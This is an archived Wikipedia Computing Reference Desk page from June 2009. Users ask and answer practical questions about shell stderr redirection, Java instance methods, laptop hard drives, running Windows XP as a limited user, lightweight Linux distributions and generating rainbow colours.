Now this does not seem to affect the program, as in the program works just fine, but it does kinda make the output look bad with all those warnings. Is there a way i can hide this warning? Or fix it?
I think a missing font file is the problem. Try installing some additional font packages, making sure /usr/share/fonts/X11/misc (or wherever nil2.pcf.gz lives) is being found by the font server, or using a different terminal. A brute force solution would be to redirect your standard error output to the bit bucket:
The trouble with just redirecting stderr away to null is that it might actually contain useful errors as well as the annoying one you're trying to get rid of. If you think you'll be distributing the program to others, or using it yourself in the long term, you'd be better to redirect stderr to a log file (e.g. 2> /var/log/calc_error.log), and use logrotate to manage that logfile. That way you can ignore specious errors in normal use, but they're still there in the logfile if things genuinely start to misbehave. 87.112.85.8 (talk) 14:39, 6 June 2009 (UTC)[reply]
That is a fantastic idea. In fact i just ran in to an error where the program was not working. and because of those redirects it took me a while to figure out what the problem was (i forgot to end an 'if' statement with 'fi'). Now the only problem with redirecting it to the systems log file is that i will be mainly using this on a live cd. Altho i might be running the program from a usb stick, so i can make my own log file. Thanks! Smileyhill (talk) 23:33, 6 June 2009 (UTC)[reply]
Serif WebPlus User to User Help
(Advertisement deleted)
Welcome to the Wikipedia Reference Desk. Your advertisement has been removed. This is not a chat forum or a place to put ads; it is a reference desk, where other Wikipedia editors can try to answer your questions. See the text at the top of the page if you need more information about this web page. Tempshill (talk) 20:08, 5 June 2009 (UTC)[reply]
Searching IMDb
I'm sure you can search IMDb using 'keywords' only. For example if I wanted to look at a list of films about football, I could just type 'football' into their keyword search field and the list would appear. But I'll be damned if I can find that feature now. (I am also an IMDbPRO user if this makes a difference).Popcorn II (talk) 18:38, 5 June 2009 (UTC)[reply]
Hello! I'm new to Java and have a question. I see a lot of instance methods in the Java API that operate on objects without having the object as one of its arguments, e.g., "this is a string".length(). Could someone give me an example of how to write a method like this? The only way I know how to accomplish this is
public class Example {
public Example() {
int x = 5;
int y = 3;
}
public Example changeExample(Example exOne, int newX, int newY) {
exOne.x = newX;
exOne.y = newY;
return exOne;
}
}
Then, to access changeExample :
Example exam = new Example();
exam = changeExample(exam, 6, 11);
Which is really redundant and seems like very bad code. Can someone show me how to rewrite changeExample so that I can call it as exam.changeExample(6, 11)? Thank you!--el Aprel (facta-facienda) 19:14, 5 June 2009 (UTC)[reply]
Don't include the Example class in the parameters. Just use the two ints. Then, in your code, you use exam.changeExample(6,11). In the function itself, you use "this" instead of "exOne" and don't return anything. -- kainaw™19:22, 5 June 2009 (UTC)[reply]
Yep. If it helps conceptually, think of the method invocation as a message you're sending to an instance of Example. In this case, you're telling it to modify itself with your new values. Friday(talk)19:28, 5 June 2009 (UTC)[reply]
Yes. You can also omit the "this." and just do "x = newX;" -- the compiler knows there is a "x" field in scope. Though you could also rename the parameter newX to x, then you'd need "this.x = x;" because "x = x;" would assign the parameter to the parameter, with no effect. Sometimes a redundant "this." is used to underline that a field is being used, usually it is omitted as clutter. Matter of style. Fields are also almost always declared "private" or "protected" so that they can be manipulated only through the methods. 62.78.198.48 (talk) 09:36, 6 June 2009 (UTC)[reply]
I'm using IE7/8 for my Internet needs on two 32-bit xp PCs with pathches and service packs loaded, etc. Assuming no spyware,
Is it possible, for a web site to know what sites are also open in other browser tabs?
If a page is open in a tab and without following a hyperlink but by directly typing a new address, can the new site get what other page(s) were previously open in that tab or that instance of the browser?
I have an HP Pavilion dv9700t laptop which came with one Western Digital SATA 250GB 5400rpm hard drive when I bought it last year. The laptop has a second hard drive bay, which is currently empty. I am considering getting a mobile hard drive that would be faster and have a greater capacity than my existing one (probably a SATA-II 500GB 7200rpm Seagate). However, I have heard that if I add it to my second bay, this may cause some hardware compatibility issues. Some people say that both hard drives on an HP laptop have to be of the same capacity, others say that they have to have equal speed. I haven't heard anything concrete on the issue, however; even the guy on HP customer support chat didn't help me much. I would like to know if this would really cause any compatibility issues. Please let me know. Thanks. ARTYOM23:21, 5 June 2009 (UTC)[reply]
The HP manual about hard disks on their laptops that's linked to at the dv9700t product page talks about installing a new hard disk and doesn't mention anything about the drives having to be the same capacity or speed. I am not familiar with HP laptops, but would be surprised if this were a requirement. The claims you have heard sound more like requirements for setting up a mirror-drive RAID. If you just want to add a D: drive to your system and don't care about a RAID, then you should be fine adding any kind of hard disk to it. Tempshill (talk) 02:57, 6 June 2009 (UTC)[reply]
Thanks for your reply! I had seen that manual before, but I thought that it only intended to show how to replace a hard drive, and that's why it didn't mention if there are any requirements. Well, I'll probably buy one and see how it goes. ARTYOM18:52, 6 June 2009 (UTC)[reply]
June 6
Portable VirtualBox for Linux?
I am trying to make a portable version of VirtualBox to run on Linux, but I'm not sure what might be the best method to use... I already have a container format for it, RUNZ (think of it as a self-extracting file, but even better), but now the problem is getting a "portable linux kernel" so that VirtualBox can run on any PC without the need to install the kernel drivers... What method do you think is best: user mode linux, OpenVZ, chroot (I don't think that works for this!), FreeVPS, Linux-VServer... ? Any ideas...? Thanks. Hacktolive (talk) 03:17, 6 June 2009 (UTC)[reply]
Sorting MSN contact list by e-mail address
I just downloaded the latest version of Windows Live Messenger. In previous versions, my contacts were organized solely by e-mail address. Now, when I go to Tools, Options, Layout, the only two options I see are organizing contacts by Display name or by First and last name. Is there anyway to revert to the way of organizing contacts solely by e-mail address? —Preceding unsigned comment added by Sjmcfarland (talk • contribs) 08:59, 6 June 2009 (UTC)[reply]
auto web crawler
I'm looking for a way to automatically download all pages from a given website, at set intervals of say three hours. The sites content changes every few hours, and the crawler must not overwrite the previous saved pages when it begins it's next download, but should update any pages which still exist since it's last crawl. It this possible? Sort of like creating a cache of any pages which existed so that I can search them later even if they have been removed from the actual website. —Preceding unsigned comment added by 82.44.54.169 (talk) 10:09, 6 June 2009 (UTC)[reply]
On a badly designed web page, the link I want to use is hidden by something else so I cannot see it or click it. I have found the href in the source code. But the href only gives part of the URL. What else do I need to look for to reconstruct the complete URL please? 92.24.112.16 (talk) 11:47, 6 June 2009 (UTC)[reply]
I have tried that, and it does not work. I have also tried some variations such as removing the .htm part without sucess. Would the root be on the html page source code somewhere? 92.24.112.16 (talk) 12:15, 6 June 2009 (UTC)[reply]
If you have the page up you may be able to tab to the link using the tab key and then press enter even if you are finding it difficult to click on it directly. Dmcq (talk) 13:31, 6 June 2009 (UTC)[reply]
If the link is there, but is overlapped by something else (which I guess is what you mean by "hidden") then you might be able to fix this by disabling styles on the page temporarily. In Firefox: view->page_style->no_style, in Opera: view->style->accessibility_layout 87.112.85.8 (talk) 14:10, 6 June 2009 (UTC)[reply]
Linux like security in Windows?
We all may be tired of Viruses in our daily lives. They are destructive and malicious, and damage our Computer to an enormous extent. Recently, Linux users have declared that Linux is more secure that windows. To understand this, we must understand why Linux is not quickly infected. There are three principle reasons for this, and these are:
By default, autorun option is disabled in Linux.
Linux can not easily play .exe, .bat and other executable files.
The setup of Linux. This is perhaps the most interesting point. Linux has one root or superuser account, like the Administrator account in Windows. But generally, the user accounts we use on Linux are like the limited accounts on Windows. Tey do not have full access to the system,and the system files of Linux are kept away from their reach. For instance, when a Linux Computer Acount is infected, the Virus tries to infect the system files. But for this, the Computer asks the virus the root password. The virus fails to access the password, which is kept stored int eh System files. Hence the virus fails to access the system. The computer remains safe. ut here is a way to prepare the same setup in Windows.
Many have migrated to Linux from Windows for sake of security, but are not regretting for such a move, mainly facing the out-of-the-box usability of Linux. So, the challenge continues, causing each user to choose any one alternative, either the Grand environment and tremendous usability of Windows, or the Secure but complicated Linux (I have both in my possesion). Now, we have two alternatives, namely:
"Using a multi-OS computer, having both Linux and Windows."
"Preparing the Linux-like security setup in Windows."
Many of my friends use Windows for all purposes, and Linux for Internet Surfing, since Internet is the primary source of Virus and Malwares. Doing this is fair, but one problem is there, that is the speed of the PC decreases. So, we must focus onto the second option, that is to prepare a Linux like security setup in Windows. To do this, we should keep one Administrator account in Windows, and should outselves use a limited or poweruser account. Now, we cannot directly remove the Administrator account we use (not the default Windows Administrator) from the Control Panel/User Acounts. To do this, right click "My Computer Icon" and select "manage" or "manage local users and groups", whichever is available. Now, select Computer Management (local)/System Tools/Local Users and Groups/Users, and right click your administrator account (not the Default Windows Administrator titled "Administrator" itself), and select delete. But be sure, that you know the default Windows Administrator password. Now exit the Window, and go to All Programs->Run, and open it. A small run window will appear. There, in the box, type "control userpasswords2" and press enter. A window titled "User Acounts" will appear. There, select your limited account and click on Properties. Anew window will appear. There, select the Group Membership Tab, and select the "Standard User" radio button. Your account will now be a power user account. Lg off once and log in again to activate the Power User Account.
Now, you may use this account to browse the Internet, and feel free, for most virus can not infect your PC now (even you do not use any Antivirus Software). But An antivirus is always good, so please try one. There are many available freely across the net. When ever you run any virus files unknowingly, the virus tries to access thwe system files, but fails, since it does not get any access to the Administrator password and can't open it. Now, only one question lies ahead. That is, if we download a trusted programme from the Internet, and want to install it, we won't be able to directly, because the Computer does not allow any power user to modify any system file. For this, we should press shift and right click the Installer and select "Run As" command. There, select the radio button "The folowing User" and type the user name "Administrator" exactly and enter the Administrator password. Then type the user name "Administrator" exactly and enter the Administrator password. Then it will get installed. Thus we have both the security of Linux and the power of Windows. By this way, can we make Windows XP to some extent more secure? Anirban16chatterjee (talk) 12:10, 6 June 2009 (UTC)[reply]
If all that means "is it better in XP to run most of the time as a normal user, and only run as administrator to do admin tasks" then the answer is "yes". Hopper Mine (talk) 12:14, 6 June 2009 (UTC)[reply]
Thanks for the answer. But my question is that,since normal or power users do not have rights or permissions to modify the system files, so if they, by mistake execute any virus, and the virus is primarily targetted to System files, will the virus be able to modify the System files? Anirban16chatterjee (talk) 12:27, 6 June 2009 (UTC)[reply]
I took the liberty of breaking your comment into paragraphs to make it easier to read. Let me know if I've done this wrong.
The advice you provide is good basic advice, but many XP users find the restricted accounts too restricted for even day-to-day use. Vista is a big improvement is this area with the introduction of the much hated User Access Control. However, I believe the biggest factor in the vunerability of Windows to malware is the sheer amount of it compared to Linux. Writers of malware. target their efforts at the largest market share and that is Windows. Astronaut (talk) 13:02, 6 June 2009 (UTC)[reply]
Xpdf honours the DRM permissions in PDF files (limits on copy, print, extract-graphics). Xpdf is licenced under the GPLv2, and naturally the source code is distributed. The author is acutely aware of the irony, but feels obligated to do so. This is because Adobe claims (and may well be correct) that anyone implementing a PDF reader infringes on its patents, and further Adobe agrees to licence such readers providing they honour the DRM features of PDF files they encounter. 87.112.85.8 (talk) 20:43, 6 June 2009 (UTC)[reply]
June 7
Linux on older laptop: recommendations?
Could anyone recommend a user-friendly Linux installation that would run well on a laptop with 128 mb RAM ("Toshiba Satellite Pro 4600")? I'll just say the laptop is running Windows NT right now, and beyond a slow boot-up, it seems to function OK with NT. Thank you, Outriggr (talk) 00:38, 7 June 2009 (UTC)[reply]
(2ec) I've found Puppy Linux pretty effective on older hardware. It has good hardware detection, a lot of applications squashed into a small distribution and can be run in memory straight from the CD or pen drive. The current version is 4.2, but if that doesn't work for you try the slightly older 2.17 - both can be downloaded (in the form of .ISO CD images) from the offical site or one of its mirrors. Astronaut (talk) 01:00, 7 June 2009 (UTC)[reply]
I think I'll try Xubuntu first as I'm looking for a traditional hard-drive install (where I get to purge a half-decade of corporate non-admin WinNT crappiness in the process :). Tx for all ideas, Outriggr (talk) 01:11, 7 June 2009 (UTC)[reply]
Rainbow function
(also might be one for maths and science)
Can anyone suggest a mathematical function for generating a rainbow of colours. (Not a look up table) - I've already made one but I'm not 100% satisfied with it - it has the colours in it - but doesn'r really look 'rainbowy' (ie as in My Little Pony. Along the same lines - the RGB spectra of a reallife rainbow - is anyone aware of a function used to curve fit to it (in terms of the RGB values) since that might be useful. Finally - question 3 - although I said I didn't want one - what about look up tables - are there any well known ones for a good rainbow. ? —Preceding unsigned comment added by 77.86.10.194 (talk) 00:56, 7 June 2009 (UTC)[reply]
The secret of all colour work is to think not in RGB space (RGB is for machines), but in HSL space. For a rainbow you want S (saturation) at full, V at 50%, and the n coloured bands you want are H values that equidistantly fill the space (which is a polar coord); so if you wanted 6 colours they'd have Hs of 0,60,120,180,240,and 300 degrees. You need to convert HSL to RGB for output, but most graphics libraries have utility functions to do that. Hopper Mine (talk) 01:11, 7 June 2009 (UTC)[reply]
Note that using the HSL space like Hopper Mine suggested will not really give you "true rainbow colors" in the sense that it includes magenta (H = 300°), which isn't a spectral color. The solution is, don't use the whole hue space, just divide the arc up to about 280° instead of 360°. — Kieff | Talk01:22, 7 June 2009 (UTC)[reply]
Thanks -good link - so I need from the article up to somewher between 240 and 300. I had my 1st effort which was doing a similar thing - except a little skewed... (it's a graph if the intensities - not the rainbow itself..) The HSL_and_HSV#Conversion_from_HSL_to_RGB is pretty handy too.
All the same I was aiming a somthing even more cartoony and stylistically 'rainbowy' - if anyone has any suggestions.
Resolved
